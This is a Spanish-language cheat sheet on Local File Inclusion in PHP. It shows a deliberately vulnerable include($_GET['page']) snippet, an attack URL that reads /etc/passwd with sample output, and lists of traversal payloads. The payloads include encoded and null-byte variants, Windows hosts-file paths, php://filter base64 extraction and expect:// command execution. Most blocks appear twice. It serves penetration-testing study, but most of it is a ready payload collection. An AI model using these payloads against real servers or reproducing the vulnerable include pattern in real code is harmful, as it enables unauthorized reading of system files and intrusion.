LFI
LFI (Local File Inclusion) ocurre cuando una aplicación web permite que el usuario especifique una ruta de archivo sin validarla adecuadamente, y ese archivo es cargado directamente desde el sistema de archivos local del servidor.
Ejemplo de codigo Vulnerable
Ejemplo típico (PHP):
<?php
include($_GET['page']);
?>
<?php
include($_GET['page']);
?>
URL:
http://victima.com/index.php?page=about.php
http://victima.com/index.php?page=about.php
Si no hay validación, un atacante puede hacer:
http://victima.com/index.php?page=../../../../etc/passwd
http://victima.com/index.php?page=../../../../etc/passwd
Resultados:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
Ahora que entendemos brevemente que es la vulnerabilidad y como puede ser explotada en un servidor web, las siguientes listas de payloads pueden ser de gran utilidad para identificar posible LFI.
En los siguientes ejemplos se incluira el archivo /etc/passwd (LFI Linux)
/etc/passwd
../../../etc/passwd
..%252f..%252f..%252f..%252fetc%252fpasswd
....////....////....////etc/passwd
....\/....\/....\/etc/passwd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
/etc/passwd
../../../etc/passwd
..%252f..%252f..%252f..%252fetc%252fpasswd
....////....////....////etc/passwd
....\/....\/....\/etc/passwd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
URLEncode
..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%65%74%63%2f%70%61%73%73%77%64
..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%65%74%63%2f%70%61%73%73%77%64
En versiones de PHP anteriores a 5.3.4 podemos terminar con un byte
nulo ( %00).
....//....//etc/passwd%00
../../../etc/passwd%00
....//....//etc/passwd%00
../../../etc/passwd%00
LFI Windows
El archivo de hosts en Windows se encuentra en:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
Dado que algunos servidores PHP o aplicaciones web mal configuradas permiten LFI, puedes intentar acceder al archivo con rutas relativas o absolutas
(Usando .. para subir directorios y llegar al archivo deseado.)
../../../../../../Windows/System32/drivers/etc/hosts
....//....//....//....//Windows/System32/drivers/etc/hosts
..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
../../../../../../Windows/System32/drivers/etc/hosts
....//....//....//....//Windows/System32/drivers/etc/hosts
..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
(Codificación URL para \) y (Doble URL Encoding para ../)
/..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts
..%252f..%252f..%252f..%252fWindows%252fSystem32%252fdrivers%252fetc%252fhosts
/..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts
..%252f..%252f..%252f..%252fWindows%252fSystem32%252fdrivers%252fetc%252fhosts
Payloads con php://filter (Si PHP está habilitado)
Estos payloads extraen el contenido del archivo en Base64:
php://filter/convert.base64-encode/resource=C:\Windows\System32\drivers\etc\hosts
php://filter/read=convert.base64-encode/resource=C:\Windows\System32\drivers\etc\hosts
php://filter/convert.base64-encode/resource=C:\Windows\System32\drivers\etc\hosts
php://filter/read=convert.base64-encode/resource=C:\Windows\System32\drivers\etc\hosts
Payloads con expect:// o file://
(Si expect:// está habilitado en PHP, lo que es raro, pero posible.)
expect://type C:\Windows\System32\drivers\etc\hosts
file:///C:/Windows/System32/drivers/etc/hosts
expect://type C:\Windows\System32\drivers\etc\hosts
file:///C:/Windows/System32/drivers/etc/hosts